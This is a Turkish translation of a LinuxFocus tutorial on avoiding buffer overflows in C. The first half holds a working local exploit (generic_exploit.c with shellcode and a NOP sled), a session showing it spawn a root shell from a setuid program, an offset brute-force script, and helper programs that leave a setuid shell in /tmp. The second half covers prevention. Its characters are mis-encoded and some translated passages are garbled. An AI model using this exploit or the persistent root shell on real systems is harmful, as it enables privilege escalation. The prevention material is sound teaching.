[LinuxFocus-icon]
Ev  |  Eri�imd�zeni  |  ��indekiler  |  Arama

Duyumlar | Belgelikler | Ba�lant�lar | LF Nedir
Bu makalenin farkl� dillerde bulundu�u adresler: English  Castellano  Deutsch  Francais  Nederlands  Portugues  Russian  Turkce  

convert to palmConvert to GutenPalm
or to PalmDoc

[image of the authors]
taraf�ndan Frédéric Raynal, Christophe Blaess, Christophe Grenier

Yazar hakk�nda:

Christophe Blaess ba��ms�z bir havac�l�k m�hendisi.O bir Linux merakl�s� ve bir�ok i�ini bu sistem yard�m�yla yap�yor.Linux D�k�mantasyon Projesi taraf�ndan yay�nlanan ki�isel sayfalar�n �evirisinin organizasyonunu yap�yor.

Chritophe Grenier ESIEA'da be� y�ld�r ��renci ve ayn� zamanda burada sistem y�neticisi olarak �al���yor.Bilgisayar g�venli�ine kar�� bir tutkusu var.

Frédéric Raynal bir�ok senedir Linux kullan�yorlar ��nk� o kirletmiyor, hormonlar� kullanm�yor, ne GMO ne de hayvansal ya�...sadece ter ve oyunlar.


��erik:

 

Uygulama geli�tirirken g�velik a��klar�ndan ka��nmak - B�l�m 3 : buffer overflows

[article illustration]

�eviri : Nur Mumcuo�lu

�zet:

Bu yaz� "buffer overflows" giri� yaz�lar�n�n sonuncusu. G�velik a��klar� ve s�ras�nda bunlar�n nas�l olu�tu�u anlat�l�yor.



 

Bellekteki Ta�malar

Bir �nceki makalemizde,kabuk �al��t�rabilen ve herhangi bir hata an�nda sistemden ��k�� yapabilen 50 byte l�k k���k bir program yazd�k.�imdi bu kodu program� �al��t�rmak istedi�imiz yere yerle�tirece�iz.Bu kodda,fonksiyonun geri d�n�� adresi ile i�lem s�ras�nda otomatik de�i�ken ta�mas�na sebep olan bizim kabuk adresimiz yerde�i�tirildi.

�rne�in,a�a��daki programda ilk arguman olarak verilen a��klama sat�r�ndaki katar�, 500 byte l�k belle�e kopyalad�k.Bu kopya, yerle�tirilen bellek alan� kontrol edilmeden yap�ld�. Daha sonra da g�rece�imiz gibi strncpy() fonksiyonu bu problemden kurtulmam�z� sa�layacak.

  /* vulnerable.c */

  #include <string.h>

  int main(int argc, char * argv [])
  {
    char buffer [500];

    if (argc > 1)
    strcpy(buffer, argv[1]);
    return (0);
  }

buffer otomatik bir de�i�kendir,bo�luk 500  sat�r� ile olu�turulmu�tur; main() fonksiyonunu girer girmez bellekteki yer korunacakt�r. vulnerable program�n� 500 karakterden fazla olmayan karakterlerle �al��t�rd���m�zda,bellekte veri ta�mas� olacak ve i�lemde bir m�cadele ya�anacakt�r. �nceden de g�rd���m�z gibi, bu ta�ma, (aka return address)' i �al��t�racak bir sonraki bilginin adresini tutacakt�r. Bu g�venlik �ukurunu �nlemek i�in �al��t�rmak istedi�imiz kabuk kodu adresi ile fonksiyon adresini yerde�i�tirmek yeterli olacakt�r.Bu kabuk kodu haf�zada kendisinden sonra adresi gelecek �ekilde ana belle�e yerle�tirilir.  

Haf�zadaki Yer

Kabuk kodunun haf�zadaki adresini elde etmek olduk�a zordur.Kabuk kodu adresi ile ta�may� tutan %esp kayd� aras�ndaki ge�i�i ara�t�rmak gerekir.Biraz g�venli�i sa�lamak i�in bellekteki alan�n ba�lang�c�, NOP bilgi toplulu�u ile doldurulmal�d�r; bu,bir byte'l�k, hi�bir yerde bir etkisi olmayan tarafs�z bilgidir.B�ylece,kabuk kodunun do�ru ba�lang�c�ndan �nce ba�lang�� adresi i�aret edilecektir.Daha fazla �ansa sahip olmak i�in kabuk kodunu sonuna kadar tekrar eden ve NOP blo�u ile olu�turulan ba�lang�� adresi izleyecek �ekilde, belle�in ortas�na yerle�tiririz. �ekil 1,belle�in yarat�l�m�n� g�sterecektir.

[buffer]
�ekil. 1 : ta�man�n bulundu�u bellek alan�

Bununla birlikte,ba�ka de�i�ken atama ile ilgili ba�ka bir problem daha vard�r. �e�itli byte'larda stoklanan bir adres her zaman uyumlu olmayabilir. Bu,do�ru atamay� bulana kadar deneme yaparak ��z�lebilir.4 byte l�k i�lemciler kullan�lmaya ba�land���ndan beri,atamalar 0,1,2 veya 3 byte l�k olabilmektedirler. ( makale 183 e bak�n.). �ekil 2, de gri b�l�mler 4 byte'l�k k�s�mlar� g�stermektedir. �lk durumda,gerid�n�� adresi tekrar yaz�ld���nda sadece biri �al��acakt�r. Di�erleri, segmentation violation veya illegal instruction hatalar�n� verecektir.Bu deneysel yol,bu �e�it bir testi uygulamam�za olanak veren bug�n�n bilgisayarlar�n�n ��kt��� zamandan beri en iyiyi bulan yoldur.

[align]
�ekil. 2 : possible alignment with 4 bytes words
 

Program� ba�latmak

�imdi,haf�zada ta�man�n oldu�u yere g�ndermekle zarar g�rebilen bir program yazaca��z. Bu program,kabuk kodunu haf�zaya yerle�tiren ve �al��acak program� se�en �e�itli se�eneklere sahiptir.Bu versiyonu ,Aleph One'�n EM>phrack 49 say�l� makalesinden esinlenilerek Christophe Grenier '�n g�rsely�resinden al�nm��t�r.

Uygulama alan�na haz�r bellek alan�m�z� nas�l g�nderece�iz? Genellikle,vulnerable.c veya �evre de�i�kendeki gibi komut sat�r� parametresi kullanabilirsiniz. Ta�ma,kullan�c� taraf�ndan yaz�lan,�al��mas� zor, veya dosyadan okumas� zor, sat�rlar ile olu�acakt�r.

generic_exploit.c program�,do�ru boyuttaki bellek alan�n� ay�rmak ile ba�lar, sonra kabuk kodunu oraya kopyalar ve onu adreslerle ve yukarda a��klanan NOP kodlar� ile doldurur. Daha sonra arguman dizisi haz�rlar ve execve() bilgisini kullanarak etiket uygulamas�n� �al��t�r�r,daha �nce �a�r�lm�� ile yerde�i�tirme i�lemi son yerde�i�tirmedir. generic_exploit parametleri �nlem i�in (adresi geri �a��rmak i�in biraz daha fazla bellek alan�) olu�turulan bellek alanlar�,haf�za ge�i�i ve atamad�r.�unu belirtmeliyiz ki bellek alan� hem �evre de�i�kenden(var) hem de a��klama sat�r�ndan (novar) ge�mektedir. force/noforce arguman�,kabuk kodundan setuid()/setgid() fonksiyonuna �a�r�l�ma izin verir(veya vermez).

/* generic_exploit.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#define NOP                     0x90

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b"
        "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff";

unsigned long get_sp(void)
{
   __asm__("movl %esp,%eax");
}

#define A_BSIZE		1
#define A_OFFSET	2
#define A_ALIGN		3
#define A_VAR		4
#define A_FORCE		5
#define A_PROG2RUN	6
#define A_TARGET	7
#define A_ARG		8

int main(int argc, char *argv[])
{
   char *buff, *ptr;
   char **args;
   long addr;
   int offset, bsize;
   int i,j,n;
   struct stat stat_struct;
   int align;
   if(argc < A_ARG)
   {
    printf("USAGE: %s bsize offset align (var / novar)
            (force/noforce) prog2run target param\n",argv[0]);
      return -1;
   }
   if(stat(argv[A_TARGET],&stat_struct))
   {
     printf("\nCannot stat %s\n", argv[A_TARGET]);
     return 1;
   }
   bsize  = atoi(argv[A_BSIZE]);
   offset = atoi(argv[A_OFFSET]);
   align  = atoi(argv[A_ALIGN]);

   if(!(buff = malloc(bsize)))
   {
      printf("Can't allocate memory.\n");
      exit(0);
   }

   addr = get_sp() + offset;
   printf("bsize %d, offset %d\n", bsize, offset);
   printf("Using address: 0lx%lx\n", addr);

   for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr;

   for(i = 0; i < bsize/2; i++) buff[i] = NOP;

   ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4]));
   if(strcmp(argv[A_FORCE],"force")==0)
   {
     if(S_ISUID&stat_struct.st_mode)
     {
       printf("uid %d\n", stat_struct.st_uid);
       *(ptr++)= 0x31;			/* xorl %eax,%eax	*/
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;			/* xorl %ebx,%ebx	*/
       *(ptr++)= 0xdb;
       if(stat_struct.st_uid & 0xFF)
       {
	 *(ptr++)= 0xb3;		/* movb $0x??,%bl	*/
	 *(ptr++)= stat_struct.st_uid;
       }
       if(stat_struct.st_uid & 0xFF00)
       {
	 *(ptr++)= 0xb7;		/* movb $0x??,%bh	*/
	 *(ptr++)= stat_struct.st_uid;
       }
       *(ptr++)= 0xb0;			/* movb $0x17,%al 	*/
       *(ptr++)= 0x17;
       *(ptr++)= 0xcd;			/* int $0x80		*/
       *(ptr++)= 0x80;
     }
     if(S_ISGID&stat_struct.st_mode)
     {
       printf("gid %d\n", stat_struct.st_gid);
       *(ptr++)= 0x31;			/* xorl %eax,%eax	*/
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;			/* xorl %ebx,%ebx	*/
       *(ptr++)= 0xdb;
       if(stat_struct.st_gid & 0xFF)
       {
	 *(ptr++)= 0xb3;		/* movb $0x??,%bl	*/
	 *(ptr++)= stat_struct.st_gid;
       }
       if(stat_struct.st_gid & 0xFF00)
       {
	 *(ptr++)= 0xb7;		/* movb $0x??,%bh	*/
	 *(ptr++)= stat_struct.st_gid;
       }
       *(ptr++)= 0xb0;			/* movb $0x2e,%al 	*/
       *(ptr++)= 0x2e;
       *(ptr++)= 0xcd;			/* int $0x80		*/
       *(ptr++)= 0x80;
     }
   }
   /* Patch shellcode */
   n=strlen(argv[A_PROG2RUN]);
   shellcode[13] = shellcode[23] = n + 5;
   shellcode[5] = shellcode[20] = n + 1;
   shellcode[10] = n;
   for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
   /* Copy prog2run */
   printf("Shellcode will start %s\n", argv[A_PROG2RUN]);
   memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN]));

   buff[bsize - 1] = '\0';

   args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3));
   j=0;
   for(i = A_TARGET; i < argc; i++)
     args[j++] = argv[i];
   if(strcmp(argv[A_VAR],"novar")==0)
   {
     args[j++]=buff;
     args[j++]=NULL;
     return execve(args[0],args,NULL);
   }
   else
   {
     setenv(argv[A_VAR],buff,1);
     args[j++]=NULL;
     return execv(args[0],args);
   }
}

vulnerable.c dan fayda sa�lamak i�in,uygulama taraf�ndan belirlenmi� bellek alan�ndan daha fazlas�n� elde etmeliyiz.�rne�in 500 byte yerine 600 byte'� tercih etmeliyiz.Ta�man�n oldu�u yeri saptamak i�in ba�ar�l� testler yap�l�r.addr = get_sp() + offset; bilgisi ile yap�lanan adres,adres geri �a�r�m�n�n tekrar yaz�lmas�n� sa�lar, tabi bunun i�in biraz �ansa gereksinimi vard�r...! Bu i�lem %esp kayd�n�n varolan i�lem s�ras�nda fazla hareket etmeyece�ini ve program sonuna birinin �a�r�laca��n� destekler. Pratik olarak,hi�bir�ey kesin de�ildir: �e�itli olaylar hesaplaman�n yap�ld��� zamandan bellekte ta�man�n oldu�u zamana de�i�tirilebilir. Burada,-1900 byte l�k eksiltme ile ta�may� engellemeyi ba�ard�k.Elbette ,bu deneyimi tamamlamak i�in, vulnerable etiketi Set-UID root olmal�d�r.

  $ cc vulnerable.c -o vulnerable
  $ cc generic_exploit.c -o generic_exploit
  $ su
  Password:
  # chown root.root vulnerable
  # chmod u+s vulnerable
  # exit
  $ ls -l vulnerable
  -rws--x--x   1 root     root        11732 Dec  5 15:50 vulnerable
  $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe54
  Shellcode will start /bin/sh
  bash# id
  uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users)
  bash# exit
  $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe64
  uid 0
  Shellcode will start /bin/sh
  bash# id
  uid=0(root) gid=100(users) groups=100(users)
  bash# exit
�lk olarak,(noforce) bizim uid de�i�mez.Bunun yan�nda bize olnaklar sa�layan yeni euid e sahibiz. B�ylece, /etc/passwd dosyas�n� vi edit�r� ile yazarken, dosya sadece okunabilir olsa bile t�m de�i�iklikler �al��acakt�r: w! yazarak bunu hen�z sa�layabilirsiniz:) force parametresi sistemin ba�lamas�ndan uid=euid=0 a izin verecektir.

K���k bir kabuk program� kullanmak,ta�maya sebep olan ge�i� de�erlerini otomatik olarak bulmay� kolayla�t�r�r.

 #! /bin/sh
 # find_exploit.sh
  BUFFER=600
  OFFSET=$BUFFER
  OFFSET_MAX=2000
  while [ $OFFSET -lt $OFFSET_MAX ] ; do
    echo "Offset = $OFFSET"
    ./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable
    OFFSET=$(($OFFSET + 4))
  done
Bu ba�ar�,potansiyel atama problemlerinin ��z�m�ne bizi g�t�rmez.Daha sonra,sizin i�in ayn� de�erler ile bu �rne�i �al��t�rmak veya sadece atamadan dolay� �al��mamas� m�mk�n olur.(B�t�n bunlar, test etmeyi gerektirir,atama parametresi 1,2 veya 3'e (burda 0) de�i�tirilmelidir. Baz� sistemler haf�za alan�na yazmay� kabul etmez,fakat bu Linux'da ge�erli de�ildir.)

Kabuk Problemleri

Maalesef,bazen olu�turulmu� kabuk kendi i�inde sonlanana kadar veya a�k� tu�a basana kadar kullan�lamaz.Bunun anlam� baz� kolayl�klara zor ula��labildi�idir.

/* set_run_shell.c */
#include <unistd.h>
#include <sys/stat.h>

int main()
{
  chown ("/tmp/run_shell", geteuid(), getegid());
  chmod ("/tmp/run_shell", 06755);
  return 0;
}

Bu i�in �stesinden gelebildi�imiz zamandan beri, run_shell program�, set_run_shell program�n�n yard�m� ile kolayl�klar� elde edebiliriz. Daha sonra bir kabu�a gereksinimimiz olacakt�r.

/* run_shell.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

int main()
{
  setuid(geteuid());
  setgid(getegid());
  execl("/tmp/shell","shell","-i",0);
  exit (0);
}
-i se�ene�i interactive'e uyumludur.Peki neden kolayl�klar� direk kabu�a aktarmayal�m? ��nk� s bit'i her kabuk i�in elveri�li de�ildir.Son s�r�mleri, "uid" in "euid" ile e�it oldu�unu g�stermektedir. "gid" ile "egid" i�in de ayn� �ey s�zkonusudur. B�ylece,bash2 ve tcsh koruma sat�r�n� kapsamaktad�rlar. fakat ne bash ne de ash bu sat�r� kapsamamaktad�rlar. Bu y�ntem,run_shell'nin bulundu�u (burada, /tmp) ve nosuid veya noexec'e ili�iklendi�i yerde b�l�mleme oldu�u zaman tasfiye edilmelidir.

�nleme

Bir ta�man�n oldu�u Set-UID program�na kaynak kodu ile birlikte sahip oldu�umuzdan beri, dosya sahibinin ID si alt�nda keyfi kod �al��t�r�lmas�na kar�� bir tepki haz�rlayabildik. Bununla birlikte, ilk gol�m�z g�venlik �ukurlar�n� �nlemekti.Sonra haf�zadaki ta�malar� �nlemek i�in birtak�m kurallar� inceledik.  

Index 'leri Taramak

�lk kural,iyi bir izlenim uyand�r�yor: indexler dikkatli bir �ekilde taranmas� gereken dizileri i�lemek i�in kullan�l�yor."clumsy" d�ng�s� :

  for (i = 0; i <= n; i ++) {
  	table [i] = ...
bir ihtimalle hata i�eriyor.Hatan�n sebebi < n�n yerine <= i�aretinin kullan�lmas�d�r.B�yle bir d�ng�y� taramak kolay olsayd�, s�f�r�n alt�na inmeden indexleri azaltmak bu d�ng� ile �ok zor olacakt�. for(i=0; i<n ; i++) s�f�r durumdan ayr� olarak,algoritman�n kullan�ld��� farkl� zamanlar� �zellikle d�ng�n�n ba�lad��� yerleri kontrol etmek zorunday�z. (Hatta birine sizin i�in bu denetimi yapabilir mi diye sorun)

Ayn� �e�it problem karakter dizileri(katarlar) da bulundu : son null karakter i�in bir byte daha eklemeyi d���nmek zorundas�n�z.Bunu unutamak ,en s�k kar��la��lan hatalardan biridir ve de�i�ken atamalar�ndan dolay� gizli kald��� i�in hatay� bulmak da zordur.

Dizi indexleri eksik hesaplanmamal�d�r.G�rd�k ki bir byte l�k ta�ma g�venlik �ukuru yaratmaya yeterlidir (Phrack konu 55'e bak�n), �evre de�i�kene kabuk kodu yerle�tirmek, �rne�in,

  #define BUFFER_SIZE 128

  void foo(void) {

    char buffer[BUFFER_SIZE+1];

    /* end of string */
    buffer[BUFFER_SIZE] = '\0';

    for (i = 0; i<BUFFER_SIZE; i++)
      buffer[i] = ...
  }
 

n Fonksiyonlar�n�n Kullan�m�

Anla�maya g�re standart C k�t�phanesi fonksiyonlar� null byte'�ndan dolay� katarlar�n sonundan haberdard�rlar.�rne�in, strcpy(3) fonksiyonu,hedef katar� null byte'� i�eren orjinal katara kopayalar.Baz� durumlarda , bu davran�� tehlike yarat�r; a�a��daki kodun g�venlik �ukuru olu�turdu�unu g�rd�k:
  #define LG_IDENT 128

  int fonction (const char * name)
  {
    char identity [LG_IDENT];
    strcpy (identity, name);
    ...
  }
Bu tip bir problemden ka��nmak i�in s�n�rl� uzunlu�a sahip fonksiyonlar vard�r. Bu fonksiyonlar�n,adlar�n�n ortalar�nda `n' yazar.�rne�in, strcpy(3) yerine strncpy(3) fonksiyonu, strcat(3) yerine strncat(3) fonksiyonu, hatta strlen(3) yerine strlen(3) fonksiyonu.

Bununla birlikte, strncpy(3) s�n�rlamas� ile dikkatli olmal�s�n�z.Farkl� etkiler yaratabilir: kaynak katar� hedeflenenden az olunca, n s�n�r�na kadar null karakterler ile tamamlanacakt�r.Bu da yeterli performans� sa�lamaz.Bunun yan�nda,e�er fazla olursa,null karakter ile sonlanmayacakt�r,si #define LG_IDENT 128 int fonction (const char * name) { char identity [LG_IDENT+1]; strncpy (identity, name, LG_IDENT); identity [LG_IDENT] = '\0'; ... } Tabii ki, ayn� prensipler, wcscpy(3) yerine wcsncpy(3) � tercih etmek veya wcscat(3) yerine wcsncat(3)'� tercih ederek b�y�k karakterleri kullanma y�ntemine uygulanabilir.B�yelce program daha da b�y�yecek fakat g�venlik olacakt�r.

strcpy() gibi strcat(3) da haf�za boyutunu kontrol etmez. strncat(3) fonksiyonu,uygun yer bulursa karakter dizisinin sonuna bir karakter ekler.strcat(buffer1, buffer2);strncat(buffer1, buffer2, sizeof(buffer1)-1); ile yerde�i�tirmek,riski azaltmak i�in yeterlidir.

sprintf() fonksiyonu formatlanm�� veriyi diziye kopyalamaya izin verir. Bu fonksiyon,karakter numaralar�n� hedef katara( "\0" karakterini saymadan) g�nderir. G�nderdi�i de�erleri test etmek,katara,de�erlerin do�ru eklenip eklenmedi�ini bilmemizi sa�lar:

  if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) {
    /* Overflow */
    ...
  }

A��k�as�,kopyalamak i�in byte say�s�n� kontrol edince bunun pek �nemi kalmaz. B�yle bir BIND(Berkeley Internet Name Daemon)'daki b�yle bir bo�luk sisteme zarar veren insanlar� me�gul edecektir:

  struct hosten *hp;
  unsigned long address;

  ...

  /* copy of an address */
  memcpy(&address, hp->h_addr_list[0], hp->h_length);
  ...

Bu, herzaman 4 byte kopyalamaya izin verecektir.Bunun yan�nda,e�er hp->h_length'i de�i�tirebilecekseniz,alan� belirleyebileceksinizdir. Fakat kopayalamadan �nce veri uzunlu�unu kontrol etmek zorunludur:
  struct hosten *hp;
  unsigned long address;

  ...

  /* test */
  if (hp->h_length > sizeof(address))
    return 0;

  /* copy of an address */
  memcpy(&address, hp->h_addr_list[0], hp->h_length);
  ...
Baz� durumlarda bu yolun(isim,URL,kaynak yolu) geri kalan�n� atmak,ve programda,veri yaz�l�r yaz�lmaz erken yap�lmal�d�rlar.  

Veriyi �ki Ad�mda Olu�turmak

Programda di�er kullan�c�ya g�re �zellikli olarak �al��mak i�in kendini koruma davran���,gelen t�m ��pheli verileri incelemekte etkilidir.

Her�eyden �nce,bu,karakter dizisinin yazma y�ntemleri ile ilgilidir.Yani, gets(char *chaine)'unu karakter katar�n�n uzunlu�u kontrol edilmeden asla kullanmamal�s�n�z(Yazar notu: bu y�ntem,ili�iklendirilen edit�r taraf�ndan yasaklanmal�d�r). Daha tehlikeli riskler scanf()'de gizlenmi�tir.

scanf ("%s", string)
sat�r�,�rne�in gets(char *chaine) kadar tehlikeli fakat �ok a��k de�ildir. Bununla birlikte ,scanf() ailesinden fonksiyonlar veri boyutunun kontrol�n� tercih ederler:
  char buffer[256];
  scanf("%255s", buffer);
Bu y�ntemde, buffer 'a kopyalanan karakter say�s�, 255 ile s�n�rl�d�r. Di�er bir tarafdan,scanf() in karakterleri yerle�tirmesi geldi�i yere geri g�ndermesi anlam�na gelmemektedir,(�rne�in,bir �ekil i�in bekleyen bir karakter), program hatalar�n�n yaratt��� kitleme riskleri olduk�a b�y�kt�r.

C++ � kullanarak cin ak��� C de kullan�lan (hatta hala kulan�l�yor) klasik fonksiyonlar ile yerde�i�tirir.A�a��daki program haf�zay� doldurur:

  char buffer[500];
  cin>>buffer;
Sizin de g�rd���n�z gibi,test edilmemi�tir! gets(char *chaine) de oldu�u durumun ayn�s�,C'yi kullan�rken : kap� olduk�a a��k.ios::width()'in �yesi olan fonksiyon,karakterleri, okunmas� i�in en �st say� ile e�le�tirir.

Okunana veri iki basama�a sahiptir. �lk a�ama,karakter dizinin haf�za alan�n�n�n boyutunu s�n�rlayan fgets(char *chaine, int taille, FILE stream) ile olmas� konusunda �srar etmektedir.Sonra okunan veri silinir,�rne�in sscanf() ile. �lk a�ama bundan daha fazlas�n� da yapabilir,�rne�in;fgets(char *chaine, int taille, FILE stream) i,istenilen haf�zay�,keyfi s�n�r koymadan otomatik olarak sa�layan d�ng�n�n i�ine yerle�tirmektedir. GNU uzant�s� getline() bunu sizin i�in yapabilir.isalnum(), isprint(), vb. leri kullanarak yaz�lmas� onaylanan karakterleri i�ermesi de m�mk�nd�r.strspn() fonksiyonu etkili bir s�zmeye m�sade eder.Program biraz daha yava� olur,fakat b�ylece kodun duyarl� b�l�mleri tehlikeli veriye kar�� kur�un ge�irmez bir yelek ile korunur.

Do�rudan veri yaz�l�m�n�n sadece sald�rgan giri� noktalar� olmaz.Yaz�l�m veri dosyalar� zedelenebilir,fakat onlara okumalar� i�in yaz�lan kod yazmalar� i�in yaz�lan koddan genellikle daha g��l�d�r.Programc�lar,sezgisel olarak,i�eri�i kullan�c� taraf�ndan korunan dosyalara g�ven duymazlar.

Bellek alan�ndaki ta�malar genellikle ��yle bir �eye dayanmaktad�r:�evresel karakter dizileri. Bir programc�n�n,ba�lamadan �nce �evresel i�lemi d�zenldi�ini unutmamal�y�z.Al�nan kararlara g�re,�evresel karakter dizisi "NAME=VALUE" yaz�l�m�n�n bir par�as� olmal� ve k�t� ama�l� kullan�c�lar�n �n�nde kullan��s�z olmal�. getenv() y�ntemini kullanmak dikkat gerektirir.�zellikle bu bir karakter dizisinin uzunlu�unu(olduk�a uzun) ve i�eri�ini (`=' i�eri�inde herhangi bir karakter bulabilirsinz) geri d�nd�r�yorsa.getenv() taraf�ndan geri d�nd�r�len karakter dizisi, uzunlu�u ve bir karakterin arkas�ndan di�erinin geldi�ini dikkate alarak fgets(char *chaine, int taille, FILE stream) taraf�ndan �retilenlerden biri gibi yarat�lacakt�r.

B�yle filtreler, bir bilgisayar �retiliyormu� gibi yap�l�r: her�eyi yasaklamak ilk kurald�r! Sonra baz� �eylere izin verilir:

  #define GOOD "abcdefghijklmnopqrstuvwxyz\
                BCDEFGHIJKLMNOPQRSTUVWXYZ\
                1234567890_"

  char *my_getenv(char *var) {
    char *data, *ptr

    /* Getting the data */
    data = getenv(var);

    /* Filtering
       Rem : obviously the replacement character must be
             in the list of the allowed ones !!!
    */
    for (ptr = data; *(ptr += strspn(ptr, GOOD));)
      *ptr = '_';

    return data;
  }

strspn() fonksiyonu bunu kolayla�t�r�r: ilk karakter gibi g�r�n�r,�zel bir bo�lu�a sahip bir karakter gibi de�il.Sadece ger�e karakterleri tutarak karakter dizisi uzunlu�unu geri g�nderir(0 dan ba�layarak).Yasaklana karakterlerin belirtildi�inden ve hi�birinin yaz�da bulunmad��� kontrol edildi�inden beri strcspn fonksiyonun kar�� bir fonksiyon oldu�unu unutmamak gerekir.  

D�namik Bellek Alan� Kullan�m�

Bellek alan�ndaki ta�malar, tekrar yazmay� i�eren k�sma(ta�man�n oldu�u k�s�m) g�venir sanki fonksiyonun adresini geri g�nderiyormu� gibi.Etki otomatik veri ile ilgilidir,sadece o k�sm�n i�inde tahsis edilmi�tir.Bu problemi kald�rman�n bir yolu,o k�s�mda sa�lanan karakter tablolar�n� heap'de bulunan dinamik de�i�kenler ile yerde�i�tirmektir. Bunu yapmak i�in,s�ras� ile �unlar� yerde�i�tirmek gerekir:

  #define LG_STRING    128
  int fonction (...)
  {
    char chaine [LG_STRING];
    ...
    return (result);
  }
with :
  #define LG_STRING    128
  int fonction (...)
  {
    char *string = NULL;
    if ((string = malloc (LG_STRING)) == NULL)
        return (-1);
    memset(string,'\0',LG_STRING);
    [...]
    free (string);
    return (result);
  }
Bu sat�rlar, kodu fazla �retir ve haf�za s�z�nt�lar� meydana getirir,fakat,yakla��m� azaltmak ve s�n�r uzunluk d�erlerini zorlamay� engellemek i�in bu de�i�ikliklerin avantaj�na sahip olmal�y�z.alloca() fonksiyonu ile daha kolay bir yol kullanmak ile ayn� sonucu vermeyece�ini d���n�n.Bu,ta�man�n oldu�u yerde son olarak bir veri tahsis edecektir ve otomatik de�i�kenlerdeki gibi ayn� problemi do�uracakt�r.memset() ile haf�zay� 0' almak, ba�a al�nmam�� de�i�kenler de��kenlerin kullan�m� ile ilgili baz� problemlerden sak�nmaya izin verecektir.B�t�n bunlar,konuyu "Heap overflows from w00w00" konulu makaleye ta��yacakt�r.

Son olarak,baz� durumlarda,g�venlik �ukurunu ba�tan kolayca defetmek,haf�za bildiriminden �nce static a�k� s�zc���n� yerle�tirmek ile m�mk�nd�r.Bu,i�lem y���n�ndan uzak veri b�l�m�nde sa�lanmu�t�r.Kabu�a sahip olmak imkans�zd�r fakat DoS problemi hala mevcuttur.Tabii ki,y�ntem tekrarlan�rsa bu �al��maz.Bu "ila�",fazla kod de�i�tirmeye gerek kalmadan acil gereksinim durumunda g�venlik �ukuruna ge�ici bir ��z�m olmal�d�r.

Sonu�

Umar�z,bellekte ta�man�n bu anlat�m�,sizin daha g�venli programlar yazman�z� sa�layacakt�r.Ta�ma tekni�i mekanizmay� iyi anlamay� gerektiriyorsa,genel prensip ba�ar�labilir.Di�er yandan, gerekenleri yerine getirmek zor de�ildir.Unutmay�n�z ki,daha sonra kabul edilir bir zamanda g�venlik program� yazmak daha h�zl� olacakt�r.Buna, format bugs konulu bir sonraki makalemizde de�inece�iz.

�li�iklendirmeler


 

Bu yaz� i�in g�r�� bildiriminde bulunabilirsiniz

Her yaz� kendi g�r�� bildirim sayfas�na sahiptir. Bu sayfaya yorumlar�n�z� yazabilir ve di�er okuyucular�n yorumlar�na bakabilirsiniz.
 talkback page 

G�rsely�re sayfalar�n�n bak�m�, LinuxFocus Edit�rleri taraf�ndan yap�lmaktad�r
© Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL
LinuxFocus.org

Buray� klikleyerek hatalar� rapor edebilir ya da yorumlar�n�z� LinuxFocus'a g�nderebilirsiniz
�eviri bilgisi:
fr -> -- Frédéric Raynal, Christophe Blaess, Christophe Grenier
fr -> en Georges Tarbouriech
en -> tr Nur Mumcuo�lu

2001-08-03, generated by lfparser version 2.17